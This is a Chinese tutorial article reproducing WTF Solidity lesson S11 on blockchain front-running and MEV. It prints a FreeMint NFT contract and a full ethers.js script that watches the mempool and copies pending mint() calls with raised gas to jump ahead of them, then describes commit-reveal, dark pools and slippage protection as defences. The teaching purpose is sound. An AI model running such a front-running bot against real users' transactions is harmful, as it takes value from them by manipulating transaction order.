ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

WTF Solidity 合约安全 S11:抢先交易(Front-running)的原理、实战与防御

WTF Solidity 合约安全 S11:抢先交易(Front-running)的原理、实战与防御 WTF Solidity 合约安全 S11抢先交易Front-running的原理、实战与防御【免费下载链接】WTF-SolidityWTF Solidity 极简入门教程供小白们使用。Now supports English! 官网: https://wtf.academy项目地址: https://gitcode.com/GitHub_Trending/wt/WTF-Solidity本讲是 WTF Solidity 合约安全系列的第 11 讲对应仓库 Languages/pt-br/S11_Frontrun/readme.md另有中文原版 S11_Frontrun/readme.md。我们将从传统金融市场的抢跑讲起延伸到以太坊上的抢先交易Front-running与 MEV并完整复现一次「监听 Mempool、抢跑 NFT 免费铸造交易」的攻击实验最后给出 commit-reveal、暗池等防御思路。读完本讲你将理解为什么区块链上的交易顺序如此重要以及如何用 ethers.js 写一个最基础的「币圈科学家」抢跑脚本。一、什么是抢先交易Front-running抢先交易本质上是利用「信息差」进行的套利攻击者观察到他人的交易意图后抢先一步把自己的交易插到前面从而攫取本该属于他人的价值。1.1 传统金融市场的抢跑抢跑最初诞生于传统金融市场是一场单纯为了利益、依靠信息优势展开的竞赛。在金融市场中信息差催生了金融中介机构它们可以通过最早了解行业信息并第一时间做出反应来实现获利。这类攻击主要发生在股票市场交易和早期的域名注册中。文档中给出了两个经典案例OpenSea 内幕交易案2021 年 9 月NFT 市场 OpenSea 的产品负责人 Nate Chastain 被曝通过抢先购买「即将登上 OpenSea 首页」的 NFT 获利。他利用内幕信息获取不公平的信息差在 NFT 被首页推荐前抢先买入等 NFT 登上首页后再卖出。后来有人通过将 NFT 交易时间戳与 OpenSea 首页可疑 NFT 的促销时间进行比对发现了这一非法行为Nate 也因此被告上法庭。上币前的老鼠仓在代币上线币安、Coinbase 等知名交易所之前会有得知内幕消息的人提前买入。上币公告发出后币价大幅上涨抢跑者趁机卖出获利。1.2 链上抢跑与 MEV链上抢跑指的是搜索者searcher或矿工通过调高gas或其他方法将自己的交易安插在其他交易之前来攫取价值。在区块链中矿工可以通过打包、排除或重新排序区块内交易来获得利润而MEVMiner/Maximal Extractable Value矿工可提取价值就是衡量这种利润的指标。在用户的交易被矿工打包进以太坊区块之前大部分交易会汇集到Mempool交易内存池中。矿工在 Mempool 里寻找 gas 价格高的交易优先打包出块以实现利益最大化——通常 gas price 越高的交易越容易被优先打包。与此同时一些 MEV 机器人也会持续扫描 Mempool寻找有利可图的交易。一个典型的例子是三明治攻击sandwich attack一笔在去中心化交易所中滑点设置过高的swap交易可能成为被攻击的目标。攻击者通过调整 gas在这笔交易之前插入一个买单抬高价格再在其后发送一个卖单高价卖出从而从中盈利——这等效于哄抬市价。下图为抢先交易的流程示意来源图片 Languages/pt-br/S11_Frontrun/img/S11-1.png用户交易进入 Mempool 等待打包矿工按 gas 价格等规则选择交易打包进区块抢跑者正是利用「打包顺序可被操纵」这一特性插入自己的交易。二、抢跑实战抢跑一笔 NFT 免费铸造交易如果你掌握了抢跑就可以算作入门级的「币圈科学家」了。下面我们完整实践一次抢跑一笔 NFT 的 mint铸造交易。使用的工具如下Foundry 的anvil搭建本地测试链需提前安装 FoundryRemix部署 NFT 合约并触发 mintethers.js 脚本监听 Mempool 并执行抢跑。仓库中与本次实验直接相关的文件为 S11_Frontrun/Frontrun.solFreeMint 合约、S11_Frontrun/frontrun.js抢跑脚本与 S11_Frontrun/package.json依赖声明下方步骤将以仓库源码为准展开。步骤 1启动 Foundry 本地测试链在安装好 Foundry 之后于命令行输入以下命令搭建本地测试链anvil --chain-id 1234 -b 10--chain-id 1234指定测试链的 chain ID 为 1234-b 10每 10 秒产出一个区块。启动成功后终端会显示若干测试账户的地址和私钥每个账户有 10000 ETH可直接用于测试。下图为 anvil 启动后的终端界面来源图片 Languages/pt-br/S11_Frontrun/img/S11-2.png可以看到账户列表、余额10000 ETH以及各账户对应的私钥。步骤 2将 Remix 连接到测试链打开 Remix 的部署Deploy Run Transactions页面点击左上角的Environment下拉菜单选择Foundry Provider即可将 Remix 连接到刚才启动的本地测试链。步骤 3部署 FreeMint NFT 合约在 Remix 上部署一个简单的免费铸造freemintNFT 合约。仓库中的 S11_Frontrun/Frontrun.sol 完整实现如下仓库源码使用pragma solidity ^0.8.34与文档示例中的^0.8.21同属 0.8 系列均可编译运行// SPDX-License-Identifier: MIT // By 0xAA pragma solidity ^0.8.34; import openzeppelin/contracts/token/ERC721/ERC721.sol; // 我们尝试frontrun一笔Free mint交易 contract FreeMint is ERC721 { uint256 totalSupply; // 构造函数初始化NFT合集的名称、代号 constructor() ERC721(Free Mint NFT, FreeMint){} // 铸造函数 function mint() external { _mint(msg.sender, totalSupply); // mint totalSupply; } }合约逻辑非常简单继承 OpenZeppelin 的ERC721标准实现构造函数设置 NFT 合集名称为Free Mint NFT、符号为FreeMint维护一个公开可读的totalSupply计数器文档示例中为uint256 public totalSupply仓库源码中为内部状态变量语义一致mint()函数允许任何人免费铸造 NFT铸造的 tokenId 即当前totalSupply铸造后计数器加一。正因为它免费且无门槛任何人都可以在别人发起 mint 时复制这笔交易并抢先铸造从而占据更靠前的 tokenId——这正是本次抢跑实验的目标合约。步骤 4运行 ethers.js 抢跑脚本简单来说S11_Frontrun/frontrun.js 脚本做了三件事监听本地测试链 Mempool 中的未决pending交易 →筛选出调用了mint()函数的交易 →复制这笔交易并调高 gas 后重新发送完成抢跑。仓库中 S11_Frontrun/package.json 声明了脚本运行所需依赖ethers版本为^5.7.1注意是 ethers v5脚本中使用的是ethers.providers.WebSocketProvider与utils.Interface的 v5 风格 API且type: module表明脚本以 ES Module 方式运行可通过node frontrun.js直接执行。安装依赖的命令为npm install脚本完整源码如下// provider.on(pending, listener) import { ethers, utils } from ethers; // 1. 创建provider var url http://127.0.0.1:8545; const provider new ethers.providers.WebSocketProvider(url); let network provider.getNetwork() network.then(res console.log([${(new Date).toLocaleTimeString()}] 连接到 chain ID ${res.chainId})); // 2. 创建interface对象用于解码交易详情。 const iface new utils.Interface([ function mint() external, ]) // 3. 创建钱包用于发送抢跑交易 const privateKey 0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a const wallet new ethers.Wallet(privateKey, provider) const main async () { // 4. 监听pending的mint交易获取交易详情然后解码。 console.log(\n4. 监听pending交易获取txHash并输出交易详情。) provider.on(pending, async (txHash) { if (txHash) { // 获取tx详情 let tx await provider.getTransaction(txHash); if (tx) { // filter pendingTx.data if (tx.data.indexOf(iface.getSighash(mint)) ! -1 tx.from ! wallet.address ) { // 打印txHash console.log(\n[${(new Date).toLocaleTimeString()}] 监听Pending交易: ${txHash} \r); // 打印解码的交易详情 let parsedTx iface.parseTransaction(tx) console.log(pending交易详情解码) console.log(parsedTx); // Input data解码 console.log(raw transaction) console.log(tx); // 构建抢跑tx const txFrontrun { to: tx.to, value: tx.value, maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2, maxFeePerGas: tx.maxFeePerGas * 1.2, gasLimit: tx.gasLimit * 2, data: tx.data } // 发送抢跑交易 var txResponse await wallet.sendTransaction(txFrontrun) console.log(正在frontrun交易) await txResponse.wait() console.log(frontrun 交易成功) } } } }); provider._websocket.on(error, async () { console.log(Unable to connect to ${ep.subdomain} retrying in 3s...); setTimeout(init, 3000); }); provider._websocket.on(close, async (code) { console.log( Connection lost with code ${code}! Attempting reconnect in 3s... ); provider._websocket.terminate(); setTimeout(init, 3000); }); }; main()下面对脚本的关键环节做逐段拆解帮助你理解抢跑的实现原理创建 Provider脚本通过WebSocketProvider连接到 anvil 的默认 RPC 地址http://127.0.0.1:8545并打印当前连接的 chain ID应为 1234。之所以用 WebSocket 而非 HTTP是因为 WebSocket 支持服务端主动推送pending事件这是实时监听 Mempool 的前提。创建 Interface 对象通过utils.Interface声明mint()函数签名用于后续对交易data字段做函数选择器匹配与解码。创建钱包脚本内置了一个 anvil 默认提供的测试私钥用于构造并发送抢跑交易。也可以换成其他测试账户的私钥。监听 pending 交易并筛选provider.on(pending, ...)每收到一个待打包交易的txHash就调用getTransaction拉取完整交易信息然后用tx.data.indexOf(iface.getSighash(mint)) ! -1判断该交易的 calldata 是否包含mint()的函数选择器0x1249c58b并通过tx.from ! wallet.address排除自己发起的交易避免自抢自的循环。构建并发送抢跑交易核心在于「复制 加价」——to、value、data原样复制受害者的交易而maxPriorityFeePerGas与maxFeePerGas分别提高 20%×1.2gasLimit提高一倍×2从而保证这笔复制交易在矿工排序时能排在原交易之前。重连兜底脚本为 WebSocket 挂了error与close监听连接异常时会尝试重连。从源码结构看error回调中引用了ep.subdomain与init这两个标识在脚本中并未定义属于演示脚本的遗留瑕疵正常路径下测试链稳定运行不影响抢跑功能本身。步骤 5调用mint()函数在 Remix 的部署页面调用 FreeMint 合约的mint()函数模拟一个普通用户发起 NFT 免费铸造交易。这笔交易发出后会先进入本地测试链的 Mempool等待被打包。步骤 6脚本监听到交易并完成抢跑在终端观察运行中的frontrun.js脚本成功监听到目标交易后会打印交易详情并先后输出「正在 frontrun 交易」「frontrun 交易成功」的日志说明抢跑交易已提交并被打包。下图为脚本抢跑成功的终端截图来源图片 Languages/pt-br/S11_Frontrun/img/S11-4.png可见交易对象中包含了chainId: 1234等测试链信息。验证抢跑是否成功也很简单调用 NFT 合约的ownerOf(0)函数查看tokenId为 0 的持有者。如果持有者是抢跑脚本使用的钱包地址就说明原本属于别人的第一枚 NFTtokenId 0被抢跑者抢先铸造抢跑实验成功。三、抢先交易的防御方法抢先交易是以太坊等公链上普遍存在的问题我们无法彻底消除它但可以通过降低交易顺序与时间的重要性减少抢跑者能获得的收益。文档给出以下思路使用预提交方案commit-reveal scheme用户先提交交易内容的哈希commit等所有参与者提交完成后再统一揭示reveal真实内容。这样在提交阶段抢跑者无法得知交易的具体内容也就无从复制或插队。使用暗池dark pool用户的交易不进入公开的 Mempool而是直接发送给矿工如 Flashbots、TaiChi 等方案。抢跑者看不到这些交易自然无法针对性地抢跑。加入保护性参数例如在调用参数中加入滑点保护slippage protection限制单笔交易可接受的价格波动范围从而减少三明治攻击等抢跑行为给攻击者带来的潜在收益。四、总结这一讲我们介绍了以太坊上的抢先交易Front-running也叫抢跑这种起源于传统金融行业的攻击模式在区块链上更容易实施因为链上所有交易信息都是公开透明的任何人都能在 Mempool 中看到尚未打包的交易。我们完成了一次完整的实战用 Foundry 的 anvil 搭建本地测试链用 Remix 部署 FreeMint NFT 合约再用 ethers.js 脚本监听 Mempool、筛选mint()交易、复制并调高 gas 完成抢跑最终通过ownerOf(0)验证抢跑成功。当业务需要处理类似交易时最好采用隐藏的内存池暗池、批量拍卖或 commit-reveal 等机制来限制抢跑空间。抢先交易难以根除但通过降低交易顺序与时间的重要性我们可以显著压缩抢跑者的利润空间从而降低其攻击动机。附录本讲相关文件文档葡萄牙语版Languages/pt-br/S11_Frontrun/readme.md文档中文原版S11_Frontrun/readme.mdFreeMint 合约源码S11_Frontrun/Frontrun.sol抢跑脚本S11_Frontrun/frontrun.js依赖声明S11_Frontrun/package.json实验配图S11_Frontrun/img/【免费下载链接】WTF-SolidityWTF Solidity 极简入门教程供小白们使用。Now supports English! 官网: https://wtf.academy项目地址: https://gitcode.com/GitHub_Trending/wt/WTF-Solidity创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表